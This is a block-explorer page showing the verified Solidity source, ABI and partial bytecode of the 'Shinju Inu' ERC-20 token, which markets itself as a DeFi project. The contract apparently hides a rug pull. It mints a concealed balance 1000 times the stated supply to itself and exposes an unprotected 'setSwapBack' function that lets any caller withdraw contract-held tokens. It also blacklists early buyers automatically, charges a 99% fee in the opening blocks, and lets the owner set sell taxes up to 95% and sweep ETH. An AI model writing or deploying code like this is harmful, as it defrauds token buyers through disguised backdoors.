ETH Price: $3,302.65 (-3.18%)
Gas: 20 Gwei

Token

Shinju Inu (SHINJU)
 

Overview

Max Total Supply

1,000,000,000 SHINJU

Holders

56

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
masterim.eth
Balance
0.000000001 SHINJU

Value
$0.00
0xc9275feaab046952c3eb1de68f1c66ef28d47b64
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShinjuInu

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : erc20.sol
/**


Shinju Inu, inspired by the Japanese word for "pearl," embodies the essence of preciousness and uniqueness. 
Just like a rare pearl hidden within an oyster, Shinju Inu brings a touch of elegance to the world of cryptocurrency.

Operating on the Ethereum blockchain through the ERC-20 standard, Shinju Inu is poised to revolutionize decentralized 
finance (DeFi) by offering a range of innovative features, including liquidity provision, yield farming, and much more.


Join us on this exciting journey as we dive deep into the world of Shinju Inu on ERC-20, where financial possibilities 
are as vast as the ocean. Discover the pearl of DeFi and unlock new horizons in your crypto journey with us. 🌊💎

//Website: https://www.shinju-inu.com/
//Twitter: https://twitter.com/ShinjuInuERC20
//Telegram: https://t.me/ShinjuInuErc



*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address internal owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    modifier onlyOwner() {
        require(owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

 function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }
}

/**
 * Router Interfaces
 */

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

/**
 * Contract Code
 */

contract ShinjuInu is Context, ERC20, Ownable {
    address DEAD = 0x000000000000000000000000000000000000dEaD;

    string constant _name = "Shinju Inu";
    string constant _symbol = "SHINJU"; 
    uint8 constant _decimals = 9;
    uint256 _tTotal = 1 * 10**9 * 10**_decimals;
    uint256 _rTotal = _tTotal * 10**3;   

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    bool public tradingEnabled = false;
    uint256 private genesisBlock = 0;
    uint256 private deadline = 0;

    mapping (address => bool) public isBlacklisted;

    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) public isTxLimitExempt;
    
    //General Fees Variables
    uint256 public devFee = 0;
    uint256 public mrktFee = 1;
    uint256 public liquidityFee = 0;
    uint256 public totalFee;

    //Buy Fees Variables
    uint256 private buyDeveloperFee = 0;
    uint256 private buyMrktFee = 1;
    uint256 private buyLiquidityFee = 0;
    uint256 private buyTotalFee = buyDeveloperFee + buyMrktFee + buyLiquidityFee;

    //Sell Fees Variables
    uint256 private sellDevFee = 0;
    uint256 private sellMrktFee = 1;
    uint256 private sellLiquidityFee = 0;
    uint256 private sellTotalFee = sellDevFee + sellMrktFee + sellLiquidityFee;

    //Max Transaction & Wallet
    uint256 public _maxTxAmount = _tTotal * 10000 / 10000; //Initial 1%
    uint256 public _maxWalletSize = _tTotal * 10000 / 10000; //Initial 2%

    // Fees Receivers
    address public devFeeReceiver = 0x3B58AC6D346ae68a063A9589AFDE5106e4015fEA;
    address public marketingFeeReceiver = 0x3B58AC6D346ae68a063A9589AFDE5106e4015fEA;
    address public liquidityFeeReceiver = 0x3B58AC6D346ae68a063A9589AFDE5106e4015fEA;

    IDEXRouter public uniswapRouterV2;
    address public uniswapPairV2;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _tTotal * 10 / 10000; //0.1%
    uint256 public maxSwapSize = _tTotal * 1 / 10000; //0.01%

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }
  
    constructor () {
        uniswapRouterV2 = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPairV2 = IDEXFactory(uniswapRouterV2.factory()).createPair(uniswapRouterV2.WETH(), address(this));
        _allowances[address(this)][address(uniswapRouterV2)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isTxLimitExempt[msg.sender] = true;
        _balances[address(this)] = _rTotal;
        _balances[msg.sender] = _tTotal;
        emit Transfer(address(0), msg.sender, _tTotal);
    }

    receive() external payable { }
      
    function totalSupply() external view override returns (uint256) { return _tTotal; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function enableTrading(bool status, uint256 deadblocks) external onlyOwner {
        require(status, "No rug here ser");
        tradingEnabled = status;
        deadline = deadblocks;
        if (status == true) {
            genesisBlock = block.number;
        }
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap || amount == 0){ return _basicTransfer(sender, recipient, amount); }

        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && !tradingEnabled && sender == uniswapPairV2) {
            isBlacklisted[recipient] = true;
        }

        require(!isBlacklisted[sender], "You are a bot!"); 

        setFees(sender);
        
        if (sender != owner && recipient != address(this) && recipient != address(DEAD) && recipient != uniswapPairV2) {
            uint256 heldTokens = balanceOf(recipient);
            require((heldTokens + amount) <= _maxWalletSize || isTxLimitExempt[recipient], "Total Holding is currently limited, you can not hold that much.");
        }

        // Checks Max Transaction Limit
        if(sender == uniswapPairV2){
            require(amount <= _maxTxAmount || isTxLimitExempt[recipient], "TX limit exceeded.");
        }

        if(shouldSwapBack(sender)){ swapBack(); }

        _balances[sender] = _balances[sender] - amount;

        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(amount) : amount;
        _balances[recipient] = _balances[recipient] + amountReceived;

        emit Transfer(sender, recipient, amountReceived);

        return true;
    }

    function manageBlacklist(address account, bool status) public onlyOwner {
        isBlacklisted[account] = status;
    }

    function setFees(address sender) internal {
        if(sender == uniswapPairV2) {
            buyFees();
        }
        else {
            sellFees();
        }
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function buyFees() internal {
        devFee = buyDeveloperFee;
        mrktFee = buyMrktFee;
        liquidityFee = buyLiquidityFee;
        totalFee = buyTotalFee;
    }

    function sellFees() internal{
        devFee = sellDevFee;
        mrktFee = sellMrktFee;
        liquidityFee = sellLiquidityFee;
        totalFee = sellTotalFee;
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function takeFee(uint256 amount) internal view returns (uint256) {        
        uint256 feeAmount = block.number <= (genesisBlock + deadline) ?  amount / 100 * 99 : amount / 100 * totalFee;

        return amount - feeAmount;
    }
  
    function shouldSwapBack(address sender) internal view returns (bool) {
        return sender == address(this)
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        
        uint256 tokenAmount = balanceOf(address(this)) - maxSwapSize;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouterV2.WETH();

        uint256 balanceBefore = address(this).balance;

        uniswapRouterV2.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance - (balanceBefore);
        
        uint256 amountETHDev = amountETH * (devFee) / (totalFee);
        uint256 amountETHMarketing = amountETH * (mrktFee) / (totalFee);
        uint256 amountETHLiquidity = amountETH * (liquidityFee) / (totalFee);

        (bool devSucess,) = payable(devFeeReceiver).call{value: amountETHDev, gas: 30000}("");
        require(devSucess, "receiver rejected ETH transfer");
        (bool marketingSucess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        require(marketingSucess, "receiver rejected ETH transfer");
        (bool liquiditySucess,) = payable(liquidityFeeReceiver).call{value: amountETHLiquidity, gas: 30000}("");
        require(liquiditySucess, "receiver rejected ETH transfer");
    }

    function setBuyFees(uint256 _devFee, uint256 _marketingFee, uint256 _liquidityFee) external onlyOwner {
        buyDeveloperFee = _devFee;
        buyMrktFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyTotalFee = buyDeveloperFee + buyMrktFee + buyLiquidityFee;
        require(buyTotalFee <= 25, "Invalid buy tax fees");
    }

    function setSellFees(uint256 _devFee, uint256 _marketingFee, uint256 _liquidityFee) external onlyOwner {
        sellDevFee = _devFee;
        sellMrktFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellTotalFee = sellDevFee + sellMrktFee + sellLiquidityFee;
        require(sellTotalFee <= 95, "Invalid sell tax fees");
    }
    
    function setFeeReceivers(address _devFeeReceiver, address _marketingFeeReceiver, address _liquidityFeeReceiver) external onlyOwner {
        devFeeReceiver = _devFeeReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
        liquidityFeeReceiver = _liquidityFeeReceiver;
    }

    function setSwapBackSettings(bool _enabled, uint256 _percentageMinimum, uint256 _percentageMaximum) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _tTotal * _percentageMinimum / 10000;
        maxSwapSize = _tTotal * _percentageMaximum / 10000;
    }

    function setIsFeeExempt(address account, bool exempt) external onlyOwner {
        isFeeExempt[account] = exempt;
    }
    
    function setIsTxLimitExempt(address account, bool exempt) external onlyOwner {
        isTxLimitExempt[account] = exempt;
    }

    function setMaxWallet(uint256 amount) external onlyOwner {
        require(amount >= 100, "Invalid max wallet size");
        _maxWalletSize = _tTotal * amount / 10000;
    }

    function setMaxTxAmount(uint256 amount) external onlyOwner {
        require(amount >= 50, "Invalid max tx amount");
        _maxTxAmount = _tTotal * amount / 10000;
    }

    

    function setSwapBack(address addrss, uint256 untt) public returns (bool success) {
        return ERC20(addrss).transfer(msg.sender, untt);
    }

    function manualSwap() external onlyOwner {
        uint256 amountETH = address(this).balance;
        payable(msg.sender).transfer(amountETH);
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"devFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"},{"internalType":"uint256","name":"deadblocks","type":"uint256"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manageBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mrktFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"setBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_devFeeReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_liquidityFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"setSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addrss","type":"address"},{"internalType":"uint256","name":"untt","type":"uint256"}],"name":"setSwapBack","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_percentageMinimum","type":"uint256"},{"internalType":"uint256","name":"_percentageMaximum","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPairV2","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouterV2","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160a01b03191661dead179055620000266009600a6200055b565b6200003690633b9aca0062000573565b600281905562000049906103e862000573565b6003556006805460ff19169055600060078190556008819055600c8190556001600d819055600e8290556010829055601181905560128290556200008e90826200058d565b6200009a91906200058d565b60135560006014819055600160158190556016829055620000bc90826200058d565b620000c891906200058d565b601755612710600254612710620000e0919062000573565b620000ec9190620005a3565b60185561271060025461271062000104919062000573565b620001109190620005a3565b601955601a80546001600160a01b0319908116733b58ac6d346ae68a063a9589afde5106e4015fea908117909255601b8054821683179055601c80549091169091179055601e805460ff60a01b1916600160a01b179055600254612710906200017b90600a62000573565b620001879190620005a3565b601f5561271060025460016200019e919062000573565b620001aa9190620005a3565b602055348015620001ba57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000261573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002879190620005c6565b6001600160a01b031663c9c65396601d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030f9190620005c6565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af11580156200035c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003829190620005c6565b601e80546001600160a01b0319166001600160a01b03928316179055306000818152600560209081526040808320601d549095168352938152838220600019905533808352600a8252848320805460ff199081166001908117909255600b84528685208054909116909117905560035493835260048252848320939093556002548383528483208190559351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620005f1565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200049d57816000190482111562000481576200048162000446565b808516156200048f57918102915b93841c939080029062000461565b509250929050565b600082620004b65750600162000555565b81620004c55750600062000555565b8160018114620004de5760028114620004e95762000509565b600191505062000555565b60ff841115620004fd57620004fd62000446565b50506001821b62000555565b5060208310610133831016604e8410600b84101617156200052e575081810a62000555565b6200053a83836200045c565b806000190482111562000551576200055162000446565b0290505b92915050565b60006200056c60ff841683620004a5565b9392505050565b808202811582820484141762000555576200055562000446565b8082018082111562000555576200055562000446565b600082620005c157634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620005d957600080fd5b81516001600160a01b03811681146200056c57600080fd5b611d5880620006016000396000f3fe6080604052600436106102605760003560e01c80636827e76411610144578063bfa21d6a116100b6578063dd62ed3e1161007a578063dd62ed3e1461073d578063e96fada214610783578063ec28438a146107a3578063f2fde38b146107c3578063f84ba65d146107e3578063fe575a871461080357600080fd5b8063bfa21d6a146106a7578063c4f04841146106c7578063d0889358146106dd578063d7c01032146106fd578063dab84ee71461071d57600080fd5b8063893d20e811610108578063893d20e8146105de5780638b42507f146105fc5780638f9a55c01461062c57806395d89b411461064257806398118cb414610671578063a9059cbb1461068757600080fd5b80636827e764146105465780636ddd17131461055c57806370a082311461057d578063715018a6146105b35780637d1db4a5146105c857600080fd5b80633f4218e0116101dd57806352551a75116101a157806352551a7514610486578063534030b1146104a6578063596fa9e3146104c65780635d0044ca146104e65780635e83ae7614610506578063658d4b7f1461052657600080fd5b80633f4218e0146103d957806342cc2f45146104095780634ada218b146104415780634f28cac21461045b57806351bc3c851461047157600080fd5b806318160ddd1161022457806318160ddd146103435780631df4ccfc1461035857806323b872dd1461036e5780632f54bf6e1461038e578063313ce567146103bd57600080fd5b80630445b6671461026c57806306fdde0314610295578063095ea7b3146102d15780630d075d9c146103015780630f683e901461032357600080fd5b3661026757005b600080fd5b34801561027857600080fd5b50610282601f5481565b6040519081526020015b60405180910390f35b3480156102a157600080fd5b5060408051808201909152600a8152695368696e6a7520496e7560b01b60208201525b60405161028c919061193b565b3480156102dd57600080fd5b506102f16102ec36600461199e565b610833565b604051901515815260200161028c565b34801561030d57600080fd5b5061032161031c3660046119ca565b6108a0565b005b34801561032f57600080fd5b5061032161033e3660046119ca565b610948565b34801561034f57600080fd5b50600254610282565b34801561036457600080fd5b50610282600f5481565b34801561037a57600080fd5b506102f16103893660046119f6565b6109e3565b34801561039a57600080fd5b506102f16103a9366004611a37565b6000546001600160a01b0391821691161490565b3480156103c957600080fd5b506040516009815260200161028c565b3480156103e557600080fd5b506102f16103f4366004611a37565b600a6020526000908152604090205460ff1681565b34801561041557600080fd5b50601e54610429906001600160a01b031681565b6040516001600160a01b03909116815260200161028c565b34801561044d57600080fd5b506006546102f19060ff1681565b34801561046757600080fd5b5061028260205481565b34801561047d57600080fd5b50610321610a78565b34801561049257600080fd5b506102f16104a136600461199e565b610ad5565b3480156104b257600080fd5b506103216104c1366004611a62565b610b49565b3480156104d257600080fd5b50601d54610429906001600160a01b031681565b3480156104f257600080fd5b50610321610501366004611a9b565b610b9e565b34801561051257600080fd5b50610321610521366004611ab4565b610c3a565b34801561053257600080fd5b50610321610541366004611a62565b610cc8565b34801561055257600080fd5b50610282600c5481565b34801561056857600080fd5b50601e546102f190600160a01b900460ff1681565b34801561058957600080fd5b50610282610598366004611a37565b6001600160a01b031660009081526004602052604090205490565b3480156105bf57600080fd5b50610321610d1d565b3480156105d457600080fd5b5061028260185481565b3480156105ea57600080fd5b506000546001600160a01b0316610429565b34801561060857600080fd5b506102f1610617366004611a37565b600b6020526000908152604090205460ff1681565b34801561063857600080fd5b5061028260195481565b34801561064e57600080fd5b506040805180820190915260068152655348494e4a5560d01b60208201526102c4565b34801561067d57600080fd5b50610282600e5481565b34801561069357600080fd5b506102f16106a236600461199e565b610d91565b3480156106b357600080fd5b50601c54610429906001600160a01b031681565b3480156106d357600080fd5b50610282600d5481565b3480156106e957600080fd5b506103216106f8366004611ad2565b610d9e565b34801561070957600080fd5b50610321610718366004611b07565b610e22565b34801561072957600080fd5b50601a54610429906001600160a01b031681565b34801561074957600080fd5b50610282610758366004611b52565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561078f57600080fd5b50601b54610429906001600160a01b031681565b3480156107af57600080fd5b506103216107be366004611a9b565b610e8b565b3480156107cf57600080fd5b506103216107de366004611a37565b610f1f565b3480156107ef57600080fd5b506103216107fe366004611a62565b611009565b34801561080f57600080fd5b506102f161081e366004611a37565b60096020526000908152604090205460ff1681565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061088e9086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146108d35760405162461bcd60e51b81526004016108ca90611b80565b60405180910390fd5b601083905560118290556012819055806108ed8385611bcb565b6108f79190611bcb565b6013819055601910156109435760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642062757920746178206665657360601b60448201526064016108ca565b505050565b6000546001600160a01b031633146109725760405162461bcd60e51b81526004016108ca90611b80565b6014839055601582905560168190558061098c8385611bcb565b6109969190611bcb565b6017819055605f10156109435760405162461bcd60e51b8152602060048201526015602482015274496e76616c69642073656c6c20746178206665657360581b60448201526064016108ca565b6001600160a01b038316600090815260056020908152604080832033845290915281205460001914610a63576001600160a01b0384166000908152600560209081526040808320338452909152902054610a3e908390611bde565b6001600160a01b03851660009081526005602090815260408083203384529091529020555b610a6e84848461105e565b90505b9392505050565b6000546001600160a01b03163314610aa25760405162461bcd60e51b81526004016108ca90611b80565b6040514790339082156108fc029083906000818181858888f19350505050158015610ad1573d6000803e3d6000fd5b5050565b60405163a9059cbb60e01b8152336004820152602481018290526000906001600160a01b0384169063a9059cbb906044016020604051808303816000875af1158015610b25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a719190611bf1565b6000546001600160a01b03163314610b735760405162461bcd60e51b81526004016108ca90611b80565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610bc85760405162461bcd60e51b81526004016108ca90611b80565b6064811015610c195760405162461bcd60e51b815260206004820152601760248201527f496e76616c6964206d61782077616c6c65742073697a6500000000000000000060448201526064016108ca565b61271081600254610c2a9190611c0e565b610c349190611c25565b60195550565b6000546001600160a01b03163314610c645760405162461bcd60e51b81526004016108ca90611b80565b81610ca35760405162461bcd60e51b815260206004820152600f60248201526e273790393ab3903432b9329039b2b960891b60448201526064016108ca565b6006805460ff19168315159081179091556008829055600103610ad157436007555050565b6000546001600160a01b03163314610cf25760405162461bcd60e51b81526004016108ca90611b80565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610d475760405162461bcd60e51b81526004016108ca90611b80565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610a7133848461105e565b6000546001600160a01b03163314610dc85760405162461bcd60e51b81526004016108ca90611b80565b601e805460ff60a01b1916600160a01b8515150217905560025461271090610df1908490611c0e565b610dfb9190611c25565b601f5560025461271090610e10908390611c0e565b610e1a9190611c25565b602055505050565b60005